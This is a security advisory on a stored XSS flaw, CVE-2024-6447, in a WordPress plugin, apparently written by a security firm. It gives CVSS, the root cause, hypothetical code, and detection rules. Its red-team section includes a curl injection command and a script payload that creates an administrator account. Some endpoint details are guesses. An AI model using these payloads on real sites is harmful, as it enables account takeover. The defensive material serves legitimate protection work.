CVE-2024-6447

Executive Summary

CVE-2024-6447 is a Stored Cross-Site Scripting (XSS) vulnerability in the FULL – Cliente WordPress plugin, affecting all versions up to and including 3.1.12. The vulnerability stems from insufficient input sanitization and output escaping on the license plan parameter, combined with missing authorization and capability checks on the related functions. This allows unauthenticated attackers to inject arbitrary web scripts that execute whenever an administrative user accesses the wp-admin dashboard. The CVSS v3.1 base score is 7.2 (High), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes this a significant risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the FULL – Cliente plugin. As a WordPress plugin, it is distributed via the WordPress plugin repository or third-party sources. The absence of a patch (UNKNOWN / UNPATCHED) means that site administrators must rely on manual mitigation or removal of the plugin. No OSV or GitHub advisory data is available, and no public exploit code or Nuclei template has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – Unauthenticated attackers can exploit this.
• User Interaction (UI): Required – The victim (admin) must visit the wp-admin dashboard.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct impact on availability.

Threat Level: High. The combination of unauthenticated access, stored XSS, and the lack of a patch makes this a critical risk for affected WordPress installations.

Deep Dive & Mechanics

The vulnerability resides in the FULL – Cliente plugin’s handling of the license plan parameter. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the WordPress admin dashboard. Additionally, the functions responsible for processing this parameter lack proper authorization and capability checks, allowing unauthenticated users to submit malicious payloads.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to the plugin’s endpoint (likely via a REST API or AJAX handler) containing a malicious JavaScript payload in the license plan parameter.
2. The plugin stores this payload in the WordPress database without proper sanitization.
3. When an administrative user accesses the wp-admin dashboard, the plugin retrieves and renders the stored payload without escaping, causing the JavaScript to execute in the admin’s browser context.
4. The attacker can then perform actions such as session hijacking, defacement, or privilege escalation.

Root Cause:

• Insufficient Input Sanitization: The plugin does not strip or encode HTML/JavaScript from the license plan parameter.
• Missing Output Escaping: The plugin does not use WordPress’s escaping functions (e.g., esc_html(), esc_attr()) when rendering the stored value.
• Missing Authorization Checks: The functions that process the license plan parameter do not verify user capabilities or nonces, allowing unauthenticated access.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (hypothetical)
function full_cliente_save_license_plan() {
    $license_plan = $_POST['license_plan'];
    update_option('full_cliente_license_plan', $license_plan);
    // No sanitization or capability check
}

function full_cliente_display_license_plan() {
    $license_plan = get_option('full_cliente_license_plan');
    echo $license_plan; // No escaping
}

A patched version would include:

• Input sanitization using sanitize_text_field() or wp_kses_post().
• Output escaping using esc_html() or esc_attr().
• Capability checks using current_user_can('manage_options') and nonce verification.

// Patched code (hypothetical)
function full_cliente_save_license_plan() {
    if (!current_user_can('manage_options') || !wp_verify_nonce($_POST['_wpnonce'], 'full_cliente_nonce')) {
        return;
    }
    $license_plan = sanitize_text_field($_POST['license_plan']);
    update_option('full_cliente_license_plan', $license_plan);
}

function full_cliente_display_license_plan() {
    $license_plan = get_option('full_cliente_license_plan');
    echo esc_html($license_plan);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the FULL – Cliente plugin version <= 3.1.12 installed and activated.
• Network access to the WordPress site.

Exploitation Steps:

1. Identify the vulnerable endpoint. This is likely a REST API route or AJAX handler. Common patterns include /wp-admin/admin-ajax.php with an action parameter.
2. Craft a POST request with a malicious payload in the license plan parameter. Example payload:

   <script>alert('XSS')</script>
   

3. Send the request:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
        -d "action=full_cliente_save_license&license_plan=<script>alert('XSS')</script>"
   

4. Wait for an administrative user to access the wp-admin dashboard. The script will execute in their browser.

Advanced Payload:

<script>
fetch('/wp-admin/admin-ajax.php?action=create_user&user_name=attacker&user_pass=password&role=administrator')
</script>

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to plugin-specific endpoints (e.g., full_cliente_save_license).
• Look for unusual characters in the license_plan parameter, such as <, >, script, or onerror.
• Use WAF rules to block common XSS patterns.

Defense:

• Immediately disable or remove the FULL – Cliente plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Restrict access to wp-admin to trusted IPs only.
• Enable Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=full_cliente_save_license and suspicious license_plan values.
  • Requests containing <script> tags or event handlers like onerror in the license_plan parameter.

• File IOCs:

  • Modified wp_options table entries where option_name is full_cliente_license_plan containing HTML/JavaScript.

• Log IOCs:

  • WordPress debug logs showing unexpected output in admin pages.
  • Web server logs with 200 responses to /wp-admin/admin-ajax.php with unusual POST data.

Detection Engineering

YARA Rule

rule CVE_2024_6447_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in FULL - Cliente plugin license plan parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6447"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $payload3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6447 Stored XSS in FULL - Cliente Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-6447 via HTTP POST requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=full_cliente_save_license'
        cs-uri-query|contains: 'license_plan='
    condition: selection
falsepositives:
    - Legitimate plugin updates (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-6447 Stored XSS in FULL - Cliente Plugin";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"action=full_cliente_save_license";
    http_client_body;
    content:"license_plan=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Plugin: Since no patch is available, the only guaranteed mitigation is to deactivate and delete the FULL – Cliente plugin from all WordPress installations.
2. Audit Database: Check the wp_options table for any malicious entries in full_cliente_license_plan and remove them.
3. Reset Admin Passwords: If exploitation is suspected, force password resets for all administrative users.

Long-Term Mitigation:

• Monitor the plugin’s official repository for a security update.
• Implement a Web Application Firewall (WAF) with custom rules to block XSS payloads.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
• Regularly audit WordPress plugins for vulnerabilities and remove unused ones.

Workaround (if plugin is critical):

• Modify the plugin’s code to add input sanitization and output escaping (as shown in the patched code example). However, this will be overwritten on plugin updates.

Valters IT
Securing Digital Frontiers